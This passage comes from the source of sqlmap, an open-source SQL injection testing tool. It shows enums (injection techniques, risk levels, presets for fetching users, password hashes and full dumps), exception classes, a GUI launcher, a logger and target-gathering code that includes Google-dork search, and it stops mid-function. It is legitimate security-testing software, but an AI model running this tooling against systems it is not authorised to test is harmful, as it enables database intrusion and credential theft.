KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" class REDIRECTION(object): YES = 'Y' NO = 'N' class PAYLOAD(object): SQLINJECTION = { 1: "boolean-based blind", 2: "error-based", 3: "inline query", 4: "stacked queries", 5: "time-based blind", 6: "UNION query", } PARAMETER = { 1: "Unescaped numeric", 2: "Single quoted string", 3: "LIKE single quoted string", 4: "Double quoted string", 5: "LIKE double quoted string", 6: "Identifier (e.g. column name)", } RISK = { 0: "No risk", 1: "Low risk", 2: "Medium risk", 3: "High risk", } CLAUSE = { 0: "Always", 1: "WHERE", 2: "GROUP BY", 3: "ORDER BY", 4: "LIMIT", 5: "OFFSET", 6: "TOP", 7: "Table name", 8: "Column name", 9: "Pre-WHERE (non-query)", } class METHOD(object): COMPARISON = "comparison" GREP = "grep" TIME = "time" UNION = "union" class TECHNIQUE(object): BOOLEAN = 1 ERROR = 2 QUERY = 3 STACKED = 4 TIME = 5 UNION = 6 class WHERE(object): ORIGINAL = 1 NEGATIVE = 2 REPLACE = 3 class WIZARD(object): BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") class ADJUST_TIME_DELAY(object): DISABLE = -1 NO = 0 YES = 1 class WEB_PLATFORM(object): PHP = "php" ASP = "asp" ASPX = "aspx" JSP = "jsp" class CONTENT_TYPE(object): TARGET = 0 TECHNIQUES = 1 DBMS_FINGERPRINT = 2 BANNER = 3 CURRENT_USER = 4 CURRENT_DB = 5 HOSTNAME = 6 IS_DBA = 7 USERS = 8 PASSWORDS = 9 PRIVILEGES = 10 ROLES = 11 DBS = 12 TABLES = 13 COLUMNS = 14 SCHEMA = 15 COUNT = 16 DUMP_TABLE = 17 SEARCH = 18 SQL_QUERY = 19 COMMON_TABLES = 20 COMMON_COLUMNS = 21 FILE_READ = 22 FILE_WRITE = 23 OS_CMD = 24 REG_READ = 25 STATEMENTS = 26 class CONTENT_STATUS(object): IN_PROGRESS = 0 COMPLETE = 1 class AUTH_TYPE(object): BASIC = "basic" DIGEST = "digest" BEARER = "bearer" NTLM = "ntlm" PKI = "pki" class AUTOCOMPLETE_TYPE(object): SQL = 0 OS = 1 SQLMAP = 2 API = 3 class NOTE(object): FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" class MKSTEMP_PREFIX(object): HASHES = "sqlmaphashes-" CRAWLER = "sqlmapcrawler-" IPC = "sqlmapipc-" CONFIG = "sqlmapconfig-" TESTING = "sqlmaptesting-" RESULTS = "sqlmapresults-" COOKIE_JAR = "sqlmapcookiejar-" BIG_ARRAY = "sqlmapbigarray-" SPECIFIC_RESPONSE = "sqlmapresponse-" PREPROCESS = "sqlmappreprocess-" class TIMEOUT_STATE(object): NORMAL = 0 EXCEPTION = 1 TIMEOUT = 2 class HINT(object): PREPEND = 0 APPEND = 1 class FUZZ_UNION_COLUMN: STRING = "" INTEGER = "" NULL = "NULL" class COLOR: BLUE = "\033[34m" BOLD_MAGENTA = "\033[35;1m" BOLD_GREEN = "\033[32;1m" BOLD_LIGHT_MAGENTA = "\033[95;1m" LIGHT_GRAY = "\033[37m" BOLD_RED = "\033[31;1m" BOLD_LIGHT_GRAY = "\033[37;1m" YELLOW = "\033[33m" DARK_GRAY = "\033[90m" BOLD_CYAN = "\033[36;1m" LIGHT_RED = "\033[91m" CYAN = "\033[36m" MAGENTA = "\033[35m" LIGHT_MAGENTA = "\033[95m" LIGHT_GREEN = "\033[92m" RESET = "\033[0m" BOLD_DARK_GRAY = "\033[90;1m" BOLD_LIGHT_YELLOW = "\033[93;1m" BOLD_LIGHT_RED = "\033[91;1m" BOLD_LIGHT_GREEN = "\033[92;1m" LIGHT_YELLOW = "\033[93m" BOLD_LIGHT_BLUE = "\033[94;1m" BOLD_LIGHT_CYAN = "\033[96;1m" LIGHT_BLUE = "\033[94m" BOLD_WHITE = "\033[97;1m" LIGHT_CYAN = "\033[96m" BLACK = "\033[30m" BOLD_YELLOW = "\033[33;1m" BOLD_BLUE = "\033[34;1m" GREEN = "\033[32m" WHITE = "\033[97m" BOLD_BLACK = "\033[30;1m" RED = "\033[31m" UNDERLINE = "\033[4m" class BACKGROUND: BLUE = "\033[44m" LIGHT_GRAY = "\033[47m" YELLOW = "\033[43m" DARK_GRAY = "\033[100m" LIGHT_RED = "\033[101m" CYAN = "\033[46m" MAGENTA = "\033[45m" LIGHT_MAGENTA = "\033[105m" LIGHT_GREEN = "\033[102m" RESET = "\033[0m" LIGHT_YELLOW = "\033[103m" LIGHT_BLUE = "\033[104m" LIGHT_CYAN = "\033[106m" BLACK = "\033[40m" GREEN = "\033[42m" WHITE = "\033[107m" RED = "\033[41m" sqlmap-1.9.6/lib/core/exception.py000066400000000000000000000031551502261744200171010ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ class SqlmapBaseException(Exception): pass class SqlmapCompressionException(SqlmapBaseException): pass class SqlmapConnectionException(SqlmapBaseException): pass class SqlmapDataException(SqlmapBaseException): pass class SqlmapFilePathException(SqlmapBaseException): pass class SqlmapGenericException(SqlmapBaseException): pass class SqlmapInstallationException(SqlmapBaseException): pass class SqlmapMissingDependence(SqlmapBaseException): pass class SqlmapMissingMandatoryOptionException(SqlmapBaseException): pass class SqlmapMissingPrivileges(SqlmapBaseException): pass class SqlmapNoneDataException(SqlmapBaseException): pass class SqlmapNotVulnerableException(SqlmapBaseException): pass class SqlmapSilentQuitException(SqlmapBaseException): pass class SqlmapUserQuitException(SqlmapBaseException): pass class SqlmapShellQuitException(SqlmapBaseException): pass class SqlmapSkipTargetException(SqlmapBaseException): pass class SqlmapSyntaxException(SqlmapBaseException): pass class SqlmapSystemException(SqlmapBaseException): pass class SqlmapThreadException(SqlmapBaseException): pass class SqlmapTokenException(SqlmapBaseException): pass class SqlmapUndefinedMethod(SqlmapBaseException): pass class SqlmapUnsupportedDBMSException(SqlmapBaseException): pass class SqlmapUnsupportedFeatureException(SqlmapBaseException): pass class SqlmapValueException(SqlmapBaseException): pass sqlmap-1.9.6/lib/core/gui.py000066400000000000000000000235031502261744200156660ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re import socket import subprocess import sys import tempfile import threading import webbrowser from lib.core.common import getSafeExString from lib.core.common import saveConfig from lib.core.data import paths from lib.core.defaults import defaults from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSystemException from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import IS_WIN from lib.core.settings import ISSUES_PAGE from lib.core.settings import GIT_PAGE from lib.core.settings import SITE from lib.core.settings import VERSION_STRING from lib.core.settings import WIKI_PAGE from thirdparty.six.moves import queue as _queue alive = None line = "" process = None queue = None def runGui(parser): try: from thirdparty.six.moves import tkinter as _tkinter from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox except ImportError as ex: raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x class ConstrainedEntry(_tkinter.Entry): def __init__(self, master=None, **kwargs): self.var = _tkinter.StringVar() self.regex = kwargs["regex"] del kwargs["regex"] _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) self.old_value = '' self.var.trace('w', self.check) self.get, self.set = self.var.get, self.var.set def check(self, *args): if re.search(self.regex, self.get()): self.old_value = self.get() else: self.set(self.old_value) # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/ class AutoresizableNotebook(_tkinter_ttk.Notebook): def __init__(self, master=None, **kw): _tkinter_ttk.Notebook.__init__(self, master, **kw) self.bind("<>", self._on_tab_changed) def _on_tab_changed(self, event): event.widget.update_idletasks() tab = event.widget.nametowidget(event.widget.select()) event.widget.configure(height=tab.winfo_reqheight()) try: window = _tkinter.Tk() except Exception as ex: errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) window.title(VERSION_STRING) # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook style = _tkinter_ttk.Style() settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} style.theme_create("custom", parent="alt", settings=settings) style.theme_use("custom") # Reference: https://stackoverflow.com/a/10018670 def center(window): window.update_idletasks() width = window.winfo_width() frm_width = window.winfo_rootx() - window.winfo_x() win_width = width + 2 * frm_width height = window.winfo_height() titlebar_height = window.winfo_rooty() - window.winfo_y() win_height = height + titlebar_height + frm_width x = window.winfo_screenwidth() // 2 - win_width // 2 y = window.winfo_screenheight() // 2 - win_height // 2 window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) window.deiconify() def onKeyPress(event): global line global queue if process: if event.char == '\b': line = line[:-1] else: line += event.char def onReturnPress(event): global line global queue if process: try: process.stdin.write(("%s\n" % line.strip()).encode()) process.stdin.flush() except socket.error: line = "" event.widget.master.master.destroy() return "break" except: return event.widget.insert(_tkinter.END, "\n") return "break" def run(): global alive global process global queue config = {} for key in window._widgets: dest, type = key widget = window._widgets[key] if hasattr(widget, "get") and not widget.get(): value = None elif type == "string": value = widget.get() elif type == "float": value = float(widget.get()) elif type == "int": value = int(widget.get()) else: value = bool(widget.var.get()) config[dest] = value for option in parser.option_list: config[option.dest] = defaults.get(option.dest, None) handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) os.close(handle) saveConfig(config, configFile) def enqueue(stream, queue): global alive for line in iter(stream.readline, b''): queue.put(line) alive = False stream.close() alive = True process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) # Reference: https://stackoverflow.com/a/4896288 queue = _queue.Queue() thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) thread.daemon = True thread.start() top = _tkinter.Toplevel() top.title("Console") # Reference: https://stackoverflow.com/a/13833338 text = _tkinter_scrolledtext.ScrolledText(top, undo=True) text.bind("", onKeyPress) text.bind("", onReturnPress) text.pack() text.focus() center(top) while True: line = "" try: # line = queue.get_nowait() line = queue.get(timeout=.1) text.insert(_tkinter.END, line) except _queue.Empty: text.see(_tkinter.END) text.update_idletasks() if not alive: break menubar = _tkinter.Menu(window) filemenu = _tkinter.Menu(menubar, tearoff=0) filemenu.add_command(label="Open", state=_tkinter.DISABLED) filemenu.add_command(label="Save", state=_tkinter.DISABLED) filemenu.add_separator() filemenu.add_command(label="Exit", command=window.quit) menubar.add_cascade(label="File", menu=filemenu) menubar.add_command(label="Run", command=run) helpmenu = _tkinter.Menu(menubar, tearoff=0) helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2025\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) window._widgets = {} notebook = AutoresizableNotebook(window) first = None frames = {} for group in parser.option_groups: frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200) notebook.add(frames[group.title], text=group.title) _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W) row = 1 if group.get_description(): _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W) _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W) row += 2 for option in group.option_list: _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W) if option.type == "string": widget = _tkinter.Entry(frame) elif option.type == "float": widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z") elif option.type == "int": widget = ConstrainedEntry(frame, regex=r"\A\d*\Z") else: var = _tkinter.IntVar() widget = _tkinter.Checkbutton(frame, variable=var) widget.var = var first = first or widget widget.grid(column=1, row=row, sticky=_tkinter.W) window._widgets[(option.dest, option.type)] = widget default = defaults.get(option.dest) if default: if hasattr(widget, "insert"): widget.insert(0, default) _tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W) row += 1 _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W) notebook.pack(expand=1, fill="both") notebook.enable_traversal() first.focus() window.mainloop() sqlmap-1.9.6/lib/core/log.py000066400000000000000000000125601502261744200156640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import logging import re import sys from lib.core.enums import CUSTOM_LOGGING logging.addLevelName(CUSTOM_LOGGING.PAYLOAD, "PAYLOAD") logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_OUT, "TRAFFIC OUT") logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_IN, "TRAFFIC IN") LOGGER = logging.getLogger("sqlmapLog") LOGGER_HANDLER = None try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler class _ColorizingStreamHandler(ColorizingStreamHandler): def colorize(self, message, levelno, force=False): if levelno in self.level_map and (self.is_tty or force): bg, fg, bold = self.level_map[levelno] params = [] if bg in self.color_map: params.append(str(self.color_map[bg] + 40)) if fg in self.color_map: params.append(str(self.color_map[fg] + 30)) if bold: params.append('1') if params and message: match = re.search(r"\A(\s+)", message) prefix = match.group(1) if match else "" message = message[len(prefix):] match = re.search(r"\[([A-Z ]+)\]", message) # log level if match: level = match.group(1) if message.startswith(self.bold): message = message.replace(self.bold, "") reset = self.reset + self.bold params.append('1') else: reset = self.reset message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) match = re.search(r"\A\s*\[([\d:]+)\]", message) # time if match: time = match.group(1) message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) match = re.search(r"\[(#\d+)\]", message) # counter if match: counter = match.group(1) message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) if level != "PAYLOAD": if any(_ in message for _ in ("parsed DBMS error message",)): match = re.search(r": '(.+)'", message) if match: string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: match = re.search(r"\bresumed: '(.+\.\.\.)", message) if match: string = match.group(1) message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) if match: string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) if prefix: message = "%s%s" % (prefix, message) message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch return message disableColor = False for argument in sys.argv: if "disable-col" in argument: disableColor = True break if disableColor: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) else: LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout) LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) except ImportError: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") LOGGER_HANDLER.setFormatter(FORMATTER) LOGGER.addHandler(LOGGER_HANDLER) LOGGER.setLevel(logging.INFO) sqlmap-1.9.6/lib/core/option.py000066400000000000000000003205371502261744200164210ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import codecs import functools import glob import inspect import logging import os import random import re import socket import sys import tempfile import threading import time import traceback from lib.controller.checks import checkConnection from lib.core.common import Backend from lib.core.common import boldifyMessage from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import decodeStringEscape from lib.core.common import fetchRandomAgent from lib.core.common import filterNone from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import intersect from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile from lib.core.common import parseRequestFile from lib.core.common import parseTargetDirect from lib.core.common import paths from lib.core.common import randomStr from lib.core.common import readCachedFileContent from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser from lib.core.common import safeFilepathEncode from lib.core.common import saveConfig from lib.core.common import setColor from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage from lib.core.common import urldecode from lib.core.compat import cmp from lib.core.compat import round from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.datatype import OrderedSet from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DUMP_FORMAT from lib.core.enums import FORK from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MOBILES from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD from lib.core.enums import PRIORITY from lib.core.enums import PROXY_TYPE from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import WIZARD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.log import FORMATTER from lib.core.optiondict import optDict from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import DUMMY_URL from lib.core.settings import IGNORE_CODE_WILDCARD from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import LOCALHOST from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.threads import getCurrentThreadData from lib.core.threads import setDaemon from lib.core.update import update from lib.parse.configfile import configFileParser from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads from lib.request.basic import checkCharEncoding from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.httpshandler import HTTPSHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies from lib.utils.har import HTTPCollectorFactory from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_cookiejar as _http_cookiejar from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks from xml.etree.ElementTree import ElementTree authHandler = _urllib.request.BaseHandler() chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() multipartPostHandler = multipartpost.MultipartPostHandler() # Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html try: WindowsError except NameError: WindowsError = None def _loadQueries(): """ Loads queries from 'xml/queries.xml' file. """ def iterate(node, retVal=None): class DictObject(object): def __init__(self): self.__dict__ = {} def __contains__(self, name): return name in self.__dict__ if retVal is None: retVal = DictObject() for child in node.findall("*"): instance = DictObject() retVal.__dict__[child.tag] = instance if child.attrib: instance.__dict__.update(child.attrib) else: iterate(child, instance) return retVal tree = ElementTree() try: tree.parse(paths.QUERIES_XML) except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) def _setMultipleTargets(): """ Define a configuration parameter if we are running in multiple target mode. """ initialTargetsCount = len(kb.targets) seen = set() if not conf.logFile: return debugMsg = "parsing targets list from '%s'" % conf.logFile logger.debug(debugMsg) if not os.path.exists(conf.logFile): errMsg = "the specified list of targets does not exist" raise SqlmapFilePathException(errMsg) if checkFile(conf.logFile, False): for target in parseRequestFile(conf.logFile): url, _, data, _, _ = target key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) if key not in seen: kb.targets.add(target) seen.add(key) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) files.sort() for reqFile in files: if not re.search(r"([\d]+)\-request", reqFile): continue for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): url, _, data, _, _ = target key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) if key not in seen: kb.targets.add(target) seen.add(key) else: errMsg = "the specified list of targets is not a file " errMsg += "nor a directory" raise SqlmapFilePathException(errMsg) updatedTargetsCount = len(kb.targets) if updatedTargetsCount > initialTargetsCount: infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount) infoMsg += "(parameter unique) requests from the " infoMsg += "targets list ready to be tested" logger.info(infoMsg) def _adjustLoggingFormatter(): """ Solves problem of line deletition caused by overlapping logging messages and retrieved data info in inference mode """ if hasattr(FORMATTER, '_format'): return def format(record): message = FORMATTER._format(record) message = boldifyMessage(message) if kb.get("prependFlag"): message = "\n%s" % message kb.prependFlag = False return message FORMATTER._format = FORMATTER.format FORMATTER.format = format def _setRequestFromFile(): """ This function checks if the way to make a HTTP request is through supplied textual file, parses it and saves the information into the knowledge base. """ if conf.requestFile: for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile): requestFile = safeExpandUser(requestFile) url = None seen = set() if not checkFile(requestFile, False): errMsg = "specified HTTP request file '%s' " % requestFile errMsg += "does not exist" raise SqlmapFilePathException(errMsg) infoMsg = "parsing HTTP request from '%s'" % requestFile logger.info(infoMsg) for target in parseRequestFile(requestFile): url = target[0] if url not in seen: kb.targets.add(target) if len(kb.targets) > 1: conf.multipleTargets = True seen.add(url) if url is None: errMsg = "specified file '%s' " % requestFile errMsg += "does not contain a usable HTTP request (with parameters)" raise SqlmapDataException(errMsg) if conf.secondReq: conf.secondReq = safeExpandUser(conf.secondReq) if not checkFile(conf.secondReq, False): errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq errMsg += "does not exist" raise SqlmapFilePathException(errMsg) infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq logger.info(infoMsg) try: target = next(parseRequestFile(conf.secondReq, False)) kb.secondReq = target except StopIteration: errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq errMsg += "does not contain a valid HTTP request" raise SqlmapDataException(errMsg) def _setCrawler(): if not conf.crawlDepth: return if not conf.bulkFile: if conf.url: crawl(conf.url) elif conf.requestFile and kb.targets: target = next(iter(kb.targets)) crawl(target[0], target[2], target[3]) def _doSearch(): """ This function performs search dorking, parses results and saves the testable hosts into the knowledge base. """ if not conf.googleDork: return kb.data.onlyGETs = None def retrieve(): links = search(conf.googleDork) if not links: errMsg = "unable to find results for your " errMsg += "search dork expression" raise SqlmapGenericException(errMsg) for link in links: link = urldecode(link) if re.search(r"(.*?)\?(.+)", link) or conf.forms: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " kb.data.onlyGETs = readInput(message, default='Y', boolean=True) if not kb.data.onlyGETs or conf.googleDork: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) return links while True: links = retrieve() if kb.targets: infoMsg = "found %d results for your " % len(links) infoMsg += "search dork expression" if not conf.forms: infoMsg += ", " if len(links) == len(kb.targets): infoMsg += "all " else: infoMsg += "%d " % len(kb.targets) infoMsg += "of them are testable targets" logger.info(infoMsg) break else: message = "found %d results " % len(links) message += "for your search dork expression, but none of them " message += "have GET parameters to test for SQL injection. " message += "Do you want to skip to the next result page? [Y/n]" if not readInput(message, default='Y', boolean=True): raise SqlmapSilentQuitException else: conf.googlePage += 1 def _setStdinPipeTargets(): if conf.url: return if isinstance(conf.stdinPipe, _collections.Iterable): infoMsg = "using 'STDIN' for parsing targets list" logger.info(infoMsg) class _(object): def __init__(self): self.__rest = OrderedSet() def __iter__(self): return self def __next__(self): return self.next() def next(self): try: line = next(conf.stdinPipe) except (IOError, OSError, TypeError, UnicodeDecodeError): line = None if line: match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) if match: return (match.group(0), conf.method, conf.data, conf.cookie, None) elif self.__rest: return self.__rest.pop() raise StopIteration() def add(self, elem): self.__rest.add(elem) kb.targets = _() def _setBulkMultipleTargets(): if not conf.bulkFile: return conf.bulkFile = safeExpandUser(conf.bulkFile) infoMsg = "parsing multiple targets list from '%s'" % conf.bulkFile logger.info(infoMsg) if not checkFile(conf.bulkFile, False): errMsg = "the specified bulk file " errMsg += "does not exist" raise SqlmapFilePathException(errMsg) found = False for line in getFileItems(conf.bulkFile): if conf.scope and not re.search(conf.scope, line, re.I): continue if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data: found = True kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" logger.warning(warnMsg) def _findPageForms(): if not conf.forms or conf.crawlDepth: return if conf.url and not checkConnection(): return found = False infoMsg = "searching for forms" logger.info(infoMsg) if not any((conf.bulkFile, conf.googleDork)): page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True) if findPageForms(page, conf.url, True, True): found = True else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) elif conf.googleDork: targets = [_[0] for _ in kb.targets] kb.targets.clear() else: targets = [] for i in xrange(len(targets)): try: target = targets[i].strip() if not re.search(r"(?i)\Ahttp[s]*://", target): target = "http://%s" % target page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False) if 